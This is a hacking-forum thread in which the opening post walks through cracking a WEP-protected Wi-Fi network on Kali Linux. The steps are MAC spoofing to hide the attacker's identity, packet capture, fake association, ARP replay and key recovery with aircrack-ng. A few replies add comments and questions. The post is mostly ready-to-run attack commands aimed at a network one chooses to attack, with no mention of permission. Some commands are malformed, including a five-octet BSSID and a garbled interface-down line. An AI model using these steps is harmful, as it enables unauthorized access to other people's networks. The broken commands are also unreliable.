

Forum:[Hack Forums](#)

Thread: [Basic Beginner Wifi hacking WEP|\[Kali Linux\]|](#)

Entrace - June 19, 2016, 3:19 pm

Aspiring hackers have to start somewhere, and in networking that's cracking WEP enabled routers. We must do this before we can move up to WPA or WPA2 cracking. So fire up kali and, let's begin the process of using AirCrack to crack a network session secured by WEP.

1. Open a terminal window and bring up a list of wireless network interfaces:
type "airmon-ng".

2. Under the interface column, select one of your interfaces. In this case, we will use wlan0. If you have a different interface, such as mon0, simply substitute it at every location where wlan0 is mentioned.

3. Next, we need to stop the wlan0 interface and take it down so that we can change our MAC address in the next step. type "airmon-ng stop ifconfig wlan0 down".

4. Next, we need to change the MAC address of our interface. Since the MAC address of your machine identifies you on any network, changing the identity of our machine allows us to keep our true MAC address hidden. In this case, we will use 00:11:22:33:44:55.
type "macchanger --mac 00:11:22:33:44:55 wlan0"

5. Now we need to restart airmon-ng.
type "airmon-ng start wlan0".

6. Next, we will use airodump to locate the available wireless networks nearby.
type "airodump-ng wlan0"

7. A listing of available networks will begin to appear. Once you find the one you want to attack, press Ctrl + C to stop the search. Highlight the MAC address in the BSSID column, right click on mouse and copy, also take note of the channel that the network is transmitting its signal upon. You will find this information in the Channel column. For us channel column is 10.

8. Now we run airodump and copy the information for the selected BSSID to a file. We will utilize the following options:

?? -c allows us to select our channel. In this case, we use 10.

?? -w allows us to select the name of our file. In this case, we have chosen wirelessattack.

?? -bssid allows us to select our BSSID. In this case, we will paste 09:AC:90:AB:78 from the clipboard.

airodump-ng -c 10 -w wirelessattack --bssid 09:AC:90:AB:78 wlan0

9. A new terminal window will open displaying the output from the previous command. Leave this window open.

10. Open another terminal window; to attempt to make an association, we will run aireplay, which has the following syntax: "aireplay-ng -1 0 -a [BSSID] -h

[our chosen MAC address] -e [ESSID] [Interface]
aireplay-ng -1 0 -a 09:AC:90:AB:78 -h 00:11:22:33:44:55 -e backtrack wlan0".

11. Next, we send some traffic to the router so that we have some data to capture. We use aireplay again in the following format: "aireplay-ng -3 -b [BSSID] -h [Our chosen MAC address] [Interface]"
aireplay-ng -3 -b 09:AC:90:AB:78 -h 00:11:22:33:44:55 wlan0".

12. Your screen will begin to fill with traffic. Let this process run for a minute or two until we have information to run the crack.

13. Finally, we run AirCrack to crack the WEP key.
aircrack-ng -b 09:AC:90:AB:78 wirelessattack.cap

That's all simple right?

DroidX - December 28, 2016, 5:07 am

Amazing tutorial thanks man?

skelly76 - December 28, 2016, 7:42 pm

You forgot to mention you need a wireless card capable of packet injection. Without which, this is useless.

DoritosDispenser - January 20, 2019, 1:28 pm

Well explained tutorial but can you detail the "aireplay-ng -1 0" and "airplay-ng -3" commands please ? (Steps 10 & 11)

I don't understand what the "-1 0" and "-3" stands for !

Thanks for the time you took to write this tutorial.

Have a nice day !